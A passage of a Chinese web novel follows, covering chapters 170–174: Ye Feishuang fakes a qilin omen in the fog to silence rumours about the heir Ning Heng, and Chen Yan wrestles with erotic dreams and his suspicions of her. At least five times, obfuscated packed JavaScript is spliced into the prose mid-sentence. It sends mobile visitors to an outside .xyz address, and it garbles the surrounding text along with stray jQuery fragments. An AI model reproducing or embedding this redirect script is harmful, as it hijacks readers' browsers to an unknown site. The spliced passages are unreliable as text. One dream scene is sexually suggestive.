“你有什么办法?千万张嘴,你能堵住吗?你能让白溪寺的事情没发生吗?你能让他们忘记我是从白溪寺求来的吗?办法,能有什么办法! 他怒吼着,脖颈上青筋绽起,目眦尽裂。 自古,流言最难平息,因为人心最不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115894|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可测。 血统之疑,一直都是皇室中人最怕遇到的争议。 叶绯霜不说话了,她一眨不眨地看着他,眼里写满了关切。 在这样的目光下,宁衡忽然就溃败了。 他抱着头蹲在地上崩溃大哭起来:“师父对不起我不是故意要凶你。我害怕我真的害怕。我不是怕不能袭爵我是怕父王母妃吵架我怕我的家没了……” 有多少人被流言逼死又有多少家庭因为流言而离散。 他害怕。 一直以来他最引以为傲的就是他的家。 没有任何猜疑和争斗不需要提心吊胆每天和父王母妃吵吵闹闹。后来有了师父璐王府更热闹了。 叶绯霜同样蹲下她轻轻拍了拍宁衡宽厚的背:“别怕璐王府会好好的。” 宁衡抬头布满血丝的眼睛无助地看着她。 虽然他比她大了六岁虽然他长得这么高大可他经历太少心性单纯就和个孩子似的。 这件事对他来说真的算是毁天灭地的打击了。 “我说了我有办法。”叶绯霜认真道“你得相信师父。” 宁衡嗫喏着嘴唇:“可是……” “前年我单枪匹马去救你和王爷。要不是你亲眼所见你会相信吗?” 宁衡摇了摇头。 “有些事听起来无法做到但其实是可以的。”叶绯霜说“你在拜我为师的时候说你会听我的话我让你做什么你就做什么而你后来确实做到了你是个很好的徒弟。那么我也会践行我承诺过的保护好你。” 宁衡不相信叶绯霜是因为他觉得这件事对叶绯霜和对他是一样的是突发事件打得人措手不及。 虽然他一直觉得师父很聪明但他这次他真的想不到能怎么办。 他低声问:“师父你想做什么?” “要做的我已经准备好了 “等什么?” “等时间到。” 她为什么一定要选九月二十八这天?就是为了某个时间。 叶绯霜说:“快了你要做的就是呆在宁国寺里哪里都不要去。实话告诉你就是我请逸真大师把你叫过来的你要听话相信师父。” 第170章 神迹降临 杜知府把白溪寺的人带到府衙后,直接开始审理。 府衙外**了数不清的百姓,放眼望去黑压压的一片,把街道堵了个水泄不通。 堂下一共跪了三十四人,其中只有十个女人,其它二十四个都是假尼姑。 跪在最前头的是的那位修善居士,面对杜知府一个接着一个的犀利提问,她抖如筛糠、汗如雨下。 修善居士并不是白溪寺的住持,而是住持的三弟子,有带队出行的资格。 一开始为了维护住持,修善还在狡辩,但是很快就被杜知府识破了。 修善旁边跪了一个老尼姑,看着得有四五十岁了。 她是白溪寺住持的师妹,此次跟着出行,是为了捞油水,并不管事。 她心中叫苦不迭,暗道倒霉。早知道便不来了,否则听到风声后还能跑。 杜知府惊堂木一拍,问那老尼姑:“十九年前璐王夫妇前往廉州白溪寺,你们也是这般做的吗?” 一听到璐王,百姓们的议论声都小了,全都竖起耳朵。 老尼姑吓坏了,连连叩首道:“不敢啊!大人,我等从未冒犯过璐王妃!当初王妃来求子,我们只是给王妃做了场法事,并没有……没有后边那些……” 百姓们“嘘”起来,并不相信这老尼姑的话。 “一听就是假的,狡辩!” “就是!干出这种事,就是亵渎佛祖。胆子都这么大了,还会怕璐王?” 有人捂嘴窃笑,不怀好意地说:“不知道这些人里有没有世子的亲爹。” 旁边的人用胳膊肘捅了捅他:“这些人看着和世子差不多大,怎么可能。” “那就是没来?真可惜,都不能父子团聚了,哈哈哈哈……” 充满恶意的哄笑声响起,杜知府用惊堂木压下。 “青天大老爷,我们真没有冒犯过璐王妃啊!”那老尼姑还在大喊,“王妃睡觉的时候我们只是在旁边念经,王爷也在呢,他全程陪同着王妃,我们真的没有冒犯皇室啊,大人明鉴!” 但是老尼姑发现,她说得越多,外边的议论声就越大。 甚至有许多人都觉得她们是被璐王府威胁了才这样狡辩,反正就是没人相信她的话。 审讯从巳时开始,一直持 续到了申时末。 今天的天气也很多变,上午还艳阳高照,中午逐渐转阴,到下午就阴云密布,还起了雾。 平时都是晨起或者夜间有雾,傍晚有雾并不多见,更何况今天的雾还很浓。 百姓们觉得古怪,心中惶惶地往家跑。 天象有异,是不祥之兆。 莫非是白溪寺冒犯了神灵,神灵生气了? 忽然,街道上传来一声大叫:“你们快看,那是什么! 众人顿时望向那人手指的方向,只见遥远的天际,云雾缭绕间,有一巨影翻腾涌现。 百姓们被这一异象惊呆了,纷纷驻足观看。 雾越来越大,那个巨影也越来越清晰。 终于有人认了出来,喊道:“麒麟!是麒麟! 此麒麟身有五彩之色,隐隐有金光笼罩,纵驰于山巅之上,腾跃于云雾之间,甚至在它昂首高吟之时,隐隐可闻恢宏的啸鸣声自天边传来。 麒麟现世了——五个字传遍了荥阳城的大街小巷。 老翁从房中披衣而出,妇人放下了手中的锅铲,年轻的媳妇忘记了继续收衣服。 酒楼的小二顾不上把菜送到几步开外的客官桌上,茶楼煮茶的小倌也不管沸腾的水把盖子都顶了起来…… 所有人都齐齐望向了北方。 不少人已经伏首叩拜,祈求神兽庇佑。 璐王府内。 璐王提笔说:“我给皇兄修书,说明事情真相。若皇兄不信,我便自请除爵,带着你和衡儿咱们回陇西去。 说罢,璐王又摇头:“不行,这样太委屈你和衡儿了。你跟了我本来就委屈,不能让你再委屈了…… 璐王妃把团扇扔向他:“我又不是因为你是皇子才跟你的!再说了,你这破爵位有什么可稀罕的,又没势力,就是个虚名,和城里的员外也没什么差别。 璐王咧咧嘴:“那咱们就回陇西当个富贵员外去!我天天陪你跑马! 璐王妃乐了:“跑马好,让你这大肚子也能小点。 她出了书房,脸上的笑容就消失了,秀眉蹙起,愁容满面。 忽然来这么一档子事,怎能不愁呢? 夫妻俩只是不想让彼此担忧,做出若无其事的样子罢了。 即便她和王爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115895|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都相信彼此,但流言如沸,堵不住悠悠之口。 她最心疼的还是宁衡,一想到要让他背负着污点过一辈子,她就难过得不行。 “都怪我。璐王妃红了眼,泪水蓄了满眶,“若不是当初我非要去那白溪寺拜,也不会有今日之祸,连累了王爷和衡儿。 她这辈子几乎没哭过。在家时是最小的女儿,父母兄姐都宠着她。出嫁后璐王更是把她捧在手心里,对她言听计从。 越是这样,越是觉得愧悔。 房中,璐王放下了纸笔,长叹了一口气。 “让妻儿受委屈,是我无能啊。他抽了自己一耳光,“是我无能。 璐王妃身边的嬷嬷忽然叫起来:“王妃,快看,那是什么! 璐王听到响动,也急忙奔出。 璐王妃急忙擦擦眼睛,惊道:“是麒麟吗?我没有看错吧? 神兽临世,场面太过震撼,所以许多人以为过去了许久,其实也不过是短短的时间。 那云海间的神兽几番腾跃后,俯冲而下,消散于云雾之中。 璐王妃看见那麒麟消失的方向,一愣,狠狠抓住了璐王的手。 “那好像是…… 璐王接了她的话:“是宁国寺。 宁国寺离荥阳城十几里之远,但因有一高耸木塔,轻易便可辨方向。 璐王和王妃对视了一眼,都从彼此眼中看到了十足的震惊。 街上,百姓们也在议论。 “宁国寺?莫非神兽是为了逸真大师而现世的? “不会吧,逸真大师天天都在寺里,怎么神兽偏偏今日现世? “那是为了谁? “呀,我今早出城的时候,碰见璐王世子也出城了。我还听见他和一个熟人说话,说三日后就是寒衣节了,为了寒衣节祭祖,他要去宁国寺斋戒三天。 话音一落,百姓们足足安静了好几息。 有个人吞了吞口水,小声道:“是不是老天知道了咱们在议论世子的血统,生气了,所以才派神兽下凡? “那是你们,我可一句都没有说过璐王世子。 “我也没!我一直都觉得世子气度不凡,必是凤子龙孙。 “李大,你刚还说世子的亲爹就在那群假尼姑里头呢,你完了,你触怒老天爷,你要倒大霉了! 第171章 荒诞的梦 怀瑜书院。 自打上次从璐王府回来后,陈宴就再没下山。 他几乎每天都泡在书院的藏书阁内,进行编书。 编书时需凝神静气,有利于陶冶情操。 书院山长都不好意思了,劝他多歇息歇息。 陈宴放下笔,拿过手边的两篇策论。 一篇用的是上好的宣纸,一篇则是普通的桑皮纸。 听到陈宴叫自己,山长坐在他身边:“清言,怎么了?” “这一份,是内院学子所作。”陈宴指了指宣纸,“辞藻华丽有余,内涵不足。” 他又拿起桑皮纸,因为纸张材质缘故,上边的字迹边缘隐有晕开,但仍可见字体气势磅礴,是用心练过的。 “这篇笔酣墨饱,乃上上佳作,非我所能品评。” 听他给出了这么高的评价,山长拿过来一看,是邱捷所作。 山长笑道:“邱捷胸有大才,我对他寄予厚望。” 陈宴道:“自先帝起,会试便以进士科为主,重内容而轻形式,重实意而轻辞藻。世家子弟喜欢清谈,写出的时策也空洞无味,不如见遍世间百态的寒门学子十之一二。” 山长叹气道:“我和他们说过,但愿意改的人屈指可数。” 会试初设之时,分词赋科、明经科和进士科。朝廷更加重视前两科,自先帝起,才提高进士科的比重。 世家大族以前两科为雅,以重视现实政务的进士科为俗。 世家子弟在锦绣堆里长大,乘五花马,着千金裘,习惯了行文作赋写山河之壮丽、生活之奢靡。 让他们去写百姓的苦寒、民生的凋敝,他们只会觉得是无病呻吟、俗不可耐。 最重要的是,他们参加会试就是为了好玩、好听,他们做官又不靠名次,有身家背景就够了,还费那多余的劲学什么破时策做什么? 陈宴把那张宣纸放下:“官场污浊,便是因为此类人太多。” 山长说:“能开会试,就已经好很多了。” “远远不够。” 山长叹息:“官场、世家乃是一体,改会试便要动官制,动官制必受世家阻拦。太难了,没人会做,也没人敢做。” 陈宴没再说话,只是盯着邱捷那篇时策,看了良久 。 从藏书阁出来他回了自己的住处。 远远看见几个从山下归来的学子在议论什么他对旁人之事向来不感兴趣所以也没仔细听。 吃过饭他回房午歇。 桌上放着一张纸上边写了八个字。 陈宴呼了一口气从方才和山长谈论的事情里抽离了出来转为了另外一件让他更为无语的事情—— 他的人品。 重欲好色、凶残暴戾。 这是他通过几次梦境得出的结论。 真的要不是这几次梦他无论如何都不会把这八个和君子之道背道而驰的字用在自己身上。 陈宴看了一会儿提笔把“重欲好色”给划掉了。 嗯……其实也没有多重欲吧……就是玩了根金链子而已。 也没有多好色吧……只有两个妾也不多。 他宁可让凶残暴戾的程度翻十倍也不想和“好色”沾上一点儿边。 陈宴把纸张收起来以作勉励让自己时刻注重内心的变化千万不要成为一个残暴的人。 他上床午歇拿着枕边的话本子看。 是从青岳那里拿到的叶绯霜写的话本子。 不像别的话本子叫什么《小潭幽记》《玉观音》《惊梦》等等她这个话本子名字很长还很直白叫—— 《我靠卖古董在新朝当首富》 别说写得还真的挺新奇有趣的怪不得卖得那么好。 看着书里写的各式各样稀奇古怪的物件陈宴不禁莞尔很好奇她是怎么想到的。 困倦难当他便握着话本子睡了过去。 陈宴做了个梦。 在梦里他同样在看书。 同样也是在床上看书。 不同的是他不是一个人在看而是和叶绯霜一起。 他忽然想看看叶绯霜穿的是什么颜色的衣服于是低头—— 他愣住继而脸唰一下子就红了。 ……她没穿衣服 所以他的手微微一动碰到的就是她细腻柔嫩的肌肤。 叶绯霜靠在他肩头笑着说:“郎君快翻啊不是说要和我看书吗?” 陈宴耳根都红 了,连书名都没仔细看,就慌忙翻开。 这一看更不得了,这哪是什么书,是一本…… **。 陈宴呆住,像握了个刚煮熟的山芋,想扔掉,可是他控制不了梦里的自己。 他非但没有扔掉,还把叶绯霜整个拽到自己身上,指着书册上的图问:“这个姿势怎么样?” 她面如红霞:“郎君你……” “正好有七日休沐。”陈宴亲她,含糊不清地说,“我们把这几本书里画的姿势,都试一试,好不好?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115896|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他惯来是个说到做到的人。 那真的是不知天地为何物的七日。 几本书沾了他们滴落的汗,皱巴巴地散落在床上、桌下、窗边、浴桶里。 他说了许多让人脸红心跳的话,听到她娇软柔媚的声音。 陈宴睁眼时,人都是懵的,脑子好像还没有从巨大的快感中醒来。 呼吸急促,汗湿重衣,心跳如鼓,大受震撼。 说实话,这个梦比上次那个杀了郑茜霞和宁衡的,还要让他震惊一万倍。 他也太……不成体统了。 青岳进房给香炉添香,忽然看见他家公子从屏风后边疾步而出,头也不回地进了净室。 听到里边传来水声,青岳忙道:“公子要沐浴吗?我马上去提热水。” 里边传来硬邦邦的两个字:“不必。” 这都九月底了,青岳不知道他洗的哪门子冷水澡,都不怕风寒的? 过了许久,沾了一身清寒水气的陈宴才出来。 青岳眨巴眨巴眼睛,觉得他家公子不太对劲,但又说不出来。 他出了房间,想了一会儿,才意识到—— 公子的脸好像有点红。 好像不光是脸,耳朵、脖颈都是红的。 应该是冻的。 陈宴坐回桌边,沉默良久,才用冰凉的手指又提起狼毫。 不情不愿又无可奈何地把“好色重欲”四个字添了回去,而且写得斗大。 陈宴盯着这墨迹未干的四个字,心绪绞成了一团乱麻。 他一直自认是个清心寡欲之人。 婚后,也定然会和妻子互相爱重,相敬如宾。 怎会如此放浪形骸,胡作非为。 但转而一想,这是不是能证明他们夫妻相合,感情很好? 陈晏总算从这荒诞中得到了一丝慰藉。 青岳忽然喊起来:“公子,你快出来看啊!” 陈宴现在处于自我怀疑阶段,谁都不想理。 青岳推开门:“公子,麒麟现世了!真的!” ……这都是什么乱七八糟的,陈宴推窗一看,恰巧看见那五彩瑞兽消失于宁国寺上头的云雾之间。 陈宴不禁蹙眉。 “太壮观了。”青岳感叹,“我还是第一次见麒麟呢。” 陈宴并不信鬼神之事,但刚刚那一幕又绝非幻觉。 应该是有人在装神弄鬼。 他脑中莫名浮现出叶绯霜的身影,于是转身拿了外袍,说:“去宁国寺。” 第172章 不敢看她 陈宴一下山才发现,竟然有许多人都要往宁国寺去。 这些人议论纷纷,陈宴轻而易举就能把今日之事给听个明白。 青岳听得目瞪口呆,和陈宴感叹:“不愧是皇室中人,就连老天都保佑着。” 陈宴垂眸思索。 前方忽然传来一阵喧哗,路过一看,是一个汉子摔进了旁边的壕沟里,把脚给扭了。 旁边有人说:“哎呀,李大,我就说你要倒霉了吧?谁让你说璐王世子不好的!看看,老天这不就来惩罚你了?” 李大抱着脚,痛苦哀嚎。 路过的百姓们见状,心中愈发骇然,更加对璐王世子的皇室血统深信不疑。 没有说过世子的暗自庆幸,说过世子的懊悔不迭,有的已经哭了起来。 此时的宁衡还不知道外边的事。 他把自己关在一间僧房里,**一般地躺在简陋的床铺上,面朝里,默默淌泪。 他不愿意去想荥阳城的百姓们在怎么议论自己和父王母妃,更不愿意想自己回城后,那些人会拿怎样的目光看他。 也不知道璐王府现在是什么情形。 他除了按照师父说的,在这里等,什么都做不了。 宁衡咬紧牙关,鄙夷自己。 太没用了,他怎么就这么没用啊。 师父、陈宴、卢季同、谢珩……哪个都比他小,哪个都比他有能耐得多。 要是换做他们中的任何一个遇到今天这事,绝对不会像他这样只能在这里干等。 不行,他不能当废物了,不能一味地依靠别人。 要是世子之位保不住了,他更要支棱起来。 外边愈发嘈杂了,宁衡没有心思去关注。 直到有僧侣敲响他的房门:“世子,请您出来,大家想见您。” 宁衡吓了一跳。 这些人是闲的吗?追到宁国寺来笑话他? 他的脸顷刻间涨得通红,布满了耻辱之色。 刚想让僧侣们把人给打发了,转而一想,不对,逃避是懦夫。 他才不要当懦夫。 不就是奚落和嘲笑吗?他又不是没听过!京城那些人可没少笑话他。 自己像个缩头乌龟,只会显得更可笑。 于是宁衡下了床擦干净脸整理好衣服和发冠让锦袍没有一丝褶皱让头发没有一丝凌乱。 还是那个光鲜亮丽、开屏孔雀似的宁世子。 宁衡默数三个数深吸一口气慷慨就义般打开了房门。 院中挤着数不清的百姓见宁衡出来纷纷跪地下拜高呼世子千岁。 宁衡愣住呆呆地问:“你们不是来看我笑话的?” 百姓们大惊失色纷纷摆手:“不敢啊世子可不敢啊!” “白溪寺那些人造的孽和璐王府没关系!那假姑子都说了他们没敢冒犯璐王妃。” “对对对世子是凤子龙孙乃神兽转世可以保佑咱们大昭、咱们荥阳风调雨顺!” “世子承命于天才会得灵兽庇佑!” 宁衡逐渐开始听不懂他们在说什么。 更让他惊掉下巴的是这些人开始对着他磕头许愿了。 是的在宁国寺里不对着满殿神佛许开始对着他许了。 这位老叟让他保佑地里的收成和儿子的前途那位姑娘让他保佑她找到一个如意郎君那位婶子让他保佑她夫君的病快点好起来…… 宁衡懵懵的下意识看向远处的高塔。 天已经黑了还有雾气弥漫着可他依旧借着寺中的灯火看见木塔最上边那一层的窗口处有个红衣身影。 他认出来那是他师父而且他感觉师父正看着他。 ——师父说过会保护好你你得相信师父。 师父白天说的话在耳边响起宁衡完全不知道她是怎么做到的。 她竟然真的有办法。 叶绯霜正远远望着宁衡眼前忽然一片黑。 萧序的手挡在她眼前 叶绯霜转头看向他他顿时笑起来:“对阿姐你看我就够啦!” 叶绯霜也笑:“感谢你借人给我用他们都做得很好。” “一点小事而已。阿姐我早就说过了你不要和我说谢!太生分了。”萧序纠正她“我的一切都是阿姐的我为阿姐做什么都愿意!” 他长得漂亮又摆出这么一副乖巧的样子来实在让人心软。 叶绯霜不由得 抬起手,萧序立刻弯下腰来,让她摸头。 叶绯霜看看自己的手,又看看他,愣了一下。 他们两个都太自然而然了,仿佛这样的动作已经做过无数遍了。 叶绯霜轻轻在萧序头顶摸了摸。 萧序脑袋一转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115897|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,把脸贴近她的手心,蹭了蹭。 叶绯霜是真的好奇了,萧序的阿姐到底是怎么养的他,居然可以把人驯成这样。 萧序的属下禀告说:“公子,已经打扫干净了。 一行人下了塔,萧序说要去找逸真大师一趟,于是叶绯霜去找宁衡。 许完愿的百姓们已经走了,剩下的是在向宁衡赔罪的。 宁衡总算从他们口中弄明白了前因后果。 什么?自己竟然是麒麟转世吗? 刚才他体内的麒麟现出了原形,出现在了宁国寺上空?替他证明身份? 这太离谱了吧! 好不容易打发走了这些人,宁衡忙不迭地问叶绯霜:“师父,到底是怎么一回事啊? 叶绯霜只是笑着说:“看,没人说你吧?大家多尊敬你! 宁衡的脸又红了,这次不是气的,而是高兴的。 “师父,你快和我说说啊! 同时,身后传来陈宴的声音:“巧了,我也想知道。 叶绯霜看向陈宴,陈宴却垂着眼睛,没有看她。 “哈哈哈,我也好奇呢。叶绯霜一抚掌,“神迹现世,神兽降临,哇,千古奇观! 陈宴眼波一转,在视线快要落到叶绯霜身上时,又生生移开了。 他没再问什么,转身往木塔走去。 叶绯霜觉得陈宴有点奇怪。 他似乎不敢看她。 宁衡也发现不对劲了,问:“师父,你和陈宴吵架了吗? “没有啊,我这段时间都没见他。 宁衡挠了挠头,算了,陈宴的想法岂是他能参透的。 “师父,你快给我讲讲嘛!那个神迹到底是怎么回事? 他才不信自己是什么麒麟转世,哪有这么笨的麒麟。 叶绯霜把宁衡推回房间里:“你得问老天。 宁衡忙道:“师父,我要回家去。 “回什么家,说好了斋戒三天,要说到做到。 宁衡想想也是,反正事情都解决了,父王和母妃也不用担心了。 他就安心在宁国寺呆着了。 可谁知,经历了大悲大喜,情绪剧烈起伏下,宁衡又魇着了。 和上次一样,开始说胡话。 但是这次胡话的内容不一样了。 他这次说的是:“陈宴,你杀了我吧。 第173章 真真假假 其实一开始还好好的。 宁衡还很乐观地问,白天城里那些百姓们都说了他啥。 叶绯霜就给他随便学了几句,宁衡嘎嘎地乐,怪不得刚才一个个吓成那样。 “我今儿都做好最坏的打算了,大不了就和父王母妃一起离开荥阳,换个地方生活,世子我也不当了。只要一家人能好好地在一块儿,我就觉得没什么大不了的。” 说着说着,宁衡打了个哈欠,困意袭来。 叶绯霜坐在桌边,支着脑袋也开始打盹,冷不丁听见宁衡一声大吼:“你们放开我母妃!” 她一下子清醒了,疾步走到床边,见宁衡双目紧闭,满脸冷汗。 她立刻叫他,叫了好半天,宁衡总算睁开了眼。 他的眼里写满了惊惧迷茫,问她:“你是谁?” 叶绯霜:“……” 房门此时被轻轻敲响,陈宴在外边问:“世子,五姑娘,我可否进来?” 叶绯霜还没说话,宁衡就飞快下了床,跌跌撞撞地去开门。 他走路不是很利索的样子,两步就摔倒了,索性这僧房也不大,离门口很近了,宁衡竟然就直接爬了过去。 陈宴刚推开房门,衣摆就被宁衡扯住。 “陈宴。”宁衡仰头望着他,面容写满痛苦,祈求着说,“我求你了,你要抓就抓我,放了我父王和母妃。” 陈宴钉在了原地。 “陈宴,我们璐王府从来不曾亏待过你,你到底为什么要这么对我们?你为什么要杀了我父王和母妃,为什么啊!” 说着说着,他竟哭了起来:“陈宴,你把我也杀了吧,让我去和父王母妃作伴,你给我一个痛快吧,让我**!” 陈宴的神情逐渐凝重起来。 他觉得现在的宁衡,既陌生又熟悉。 陌生是因为,现实中他从未见过这样低声下气的宁衡。 熟悉是因为,前些日子在梦里见过。 他怔然望向叶绯霜,发现叶绯霜也正蹙眉看着他。 “怎么回事啊陈宴?”叶绯霜问,“你对世子干嘛了?他怎么这么怕你?” 陈宴反问:“你不知道?” “我当然不知道。”她能知道才有鬼了。 “我也不知道。 ”他并没有梦到原因。 叶绯霜起身:“我去找逸真大师。” 逸真大师很快来了和上次一样为宁衡招魂。 叶绯霜在一旁协助他。 结果也和上次一样宁衡醒来后完全不记得自己刚才说了什么做了什么。 逸真大师似乎有要事在身来也匆匆去也匆匆。 陈宴想拦他 叶绯霜坐回椅子里单臂掸在桌上撑着额头陷入了沉思。 上一次宁衡魇着后一直在说他腿断了一直在嚷嚷为什么不去救他。 那可是上一世真实发生的事。 那么刚才宁衡说的也是上一世真实发生的事。 所以上一世陈宴把璐王和璐王妃给杀了?! 这她是真不知道。 前世她只是听郑府的下人们议论说陈宴在庇阳山救了璐王父子被奉为座上宾。 后来和陈宴在一起后他并没有和她提过璐王府。 陈宴目前也在自我怀疑。 怎么着合着除了宁衡璐王和王妃也是他杀的? 他上辈子挺能**的嘛陈宴面无表情地想。 其实现在陈宴只是意外并没有多震惊了。 哪怕今晚回去再做个梦梦见他把皇上杀了他估计也不会多震惊。 叶绯霜瞟了一眼陈宴陈宴也正看着她。 他朝外边轻轻扬了扬下颌。 叶绯霜会意和他出了房间。 夜雾渐浓带着湿润的潮气扑在脸上有点凉也能更让人清醒。 陈宴道:“书中记载登州海中时有云气如宫室、台观、城堞、人物、车马、冠盖历历可见谓之海市。有人说乃蛟蜃之气所化但我不以为然。同样我也不认为今日的祥瑞之兆是凭空出现的。” “那你觉得是什么原因?” 陈宴不紧不慢地说:“不管是怎么做到的总之一定不简单必然经过了仔细的筹备。最妙的是瑞象出现的时间如果晚几天再出现甚至明天再出现也会有百姓怀疑是璐王府经过了一夜的准备而故意为之。 但当天出现就很容易让人相信了。毕竟白溪寺之事如一个惊雷突然爆出打了所有人一个措手不及 。若不是有人可以未卜先知谁能提前做好准备呢? 而且地点也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115898|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧。如果瑞象现于璐王府那就说不清这所谓的麒麟瑞兽代表的到底是璐王还是世子了。但恰巧在宁国寺只有世子在这里那就只能是他了。 这诸多巧合加在一起我实在无法相信‘天降神迹’我觉得事在人为。” 陈宴的声音在轻柔的夜风中显得很温和:“所以可否请五姑娘答疑解惑这瑞象是怎么出现的?” “好精彩的推论。”叶绯霜鼓掌“但是……” “五姑娘先别着急着否认。”陈宴说“你否认我还可以去问别人。宁国寺僧人这么多总有看见的、总有愿意说的。” 叶绯霜不怀疑陈宴的能耐前世他就讲过他的手段为了真相他查案时真的是无所不用其极。 叶绯霜怕他发疯 陈宴说:“听说今日郑府还出现了一只灵鹰那些假姑子的身份就是因为这只灵鹰而暴露的。世子不就有一只鹰吗?还是五姑娘为他猎的还让鹰把式训了。” 叶绯霜真真假假地道:“我只是想让鹰把所谓的法事破坏了不让我娘入局。能拆穿那些假尼姑的身份实是意外之喜呢。” 陈宴默了一瞬:“说瑞象。” “用绢纱做一只巨大的麒麟纱幕在塔顶放十几盏大牛油烛。在大雾最浓时点亮蜡烛把纱幕置于烛光前麒麟之像便可呈现于云雾之中。” “何时开始准备的?” “知道王妃去过白溪寺后。” “如何知道的这个法子?” 叶绯霜歪了歪头:“以前听人说的。” “好最后一个问题。五姑娘如何知道今晚会有雾。” 当然因为她记得。 前世的今天傍晚起了一场大雾她趁机偷偷跑到伙房里偷了些菜肉准备三天后的寒衣节给爹娘上贡。 结果被郑茜媛和郑文博这对姐弟发现了他们扔了她的东西还踩了她的手。 他们说那些东西给狗吃也不会让她上贡。 这一天的大雾和**她都记得很清楚。 “逸真大师说的。他会观天象他还说明天会下雨。” 陈宴盯着她似是在辨真假。 叶绯霜坦然地让他打量不怯不避。 “叶绯霜。”他朝她逼近一步“事到如今你还是不肯和我说实话是吗?” 叶绯霜诚恳地说:“都是实话真的。” 第174章 还挺长情 薄雾如纱幔,轻覆天地间。 二人距离骤然拉近,夜色沁凉,让陈宴衣上雪中春信的梅香也变得冷冽了许多。 陈宴放缓了声调,同样真挚地说:“姻缘在前,即便最后夫妻不和,我们也有过好时候。倘若我若有错,你告知我,我会改,不会和前世一样的。你为何就不愿承认呢?” 叶绯霜猝然抬眸,夫妻不和?她遭遇的那些破事,是一个轻飘飘的“不和”就能说清的? 不对,哪儿有夫妻,谁和他夫妻。 他还有脸说好时候,基于欺骗和算计的“好时候”,难道不是更可悲可笑? “你……”叶绯霜的火气差点就被拱起来,但她悬崖勒马,话锋一转,“到底在说什么啊?” 差点中了狗男人的计。 要是她没控制住火气,顺着他的话接下去,就彻底露馅了。 又在诈她。 怎么回事,这一世没出仕,就把心眼子全用她身上了是吗? 叶绯霜环起双臂,往身后的廊柱上一靠,笑问:“难道陈公子最近又做了什么怪梦,不如说来听听?” 她随口一问而已,不曾想陈宴的眼神真的躲闪了一下。 “真有啊?”叶绯霜身体前倾,“梦见什么了?” 陈宴立刻后退了两步,拉开和她的距离。 他背过身去,声音沉冷,似在自嘲:“我若能做梦,还用来问五姑娘?自己便能弄清了。” “万事都要讲个证据。陈公子,我承认你的一些话听起来很有道理,但无凭无据的情况下,你不能说你想的就一定是真相。” 陈宴侧眸看向她:“五姑娘绝口不认,就是笃定我找不出证据是吗?” 那当然了,这种事哪来的证据。 “总会有证据的。”陈宴依然那么自信,“到时候,我看五姑娘还怎么否……” “陈宴!”不远处传来一声怒喝,打断了他的话,“你个**离我阿姐远点!” 一点寒芒破开夜雾,直朝陈宴命门刺来。 陈宴避开了这致命的一击。 萧序穷追不舍,陈宴软剑出鞘,两人顿时就打了起来。 刀剑碰撞声在夜色中格外清晰,宁衡听到动静跑了出来:“怎么了怎么了?” 叶绯霜很敷衍的:“你们不要再打啦!” 宁衡睁大眼,目不暇接地看着夜色中的刀光剑影,只觉得两只眼不够用:“好精彩!” 高手过招是很精彩,叶绯霜在台阶上坐下,欣赏。 她看出来了,这俩人谁都打不赢彼此。 “好羡慕。”叶绯霜叹息,“谁能和我痛痛快快打一场。” “好羡慕。”宁衡也叹息,“为什么你们打架都这么好看。” “咦?”叶绯霜忽然发现了不对。 陈宴的剑法,和前世截然不同。 她前世经常看陈宴练剑,很熟悉他的招式。 那时陈宴说过,他的剑法师从她七叔郑睿。这一世,同样也是。 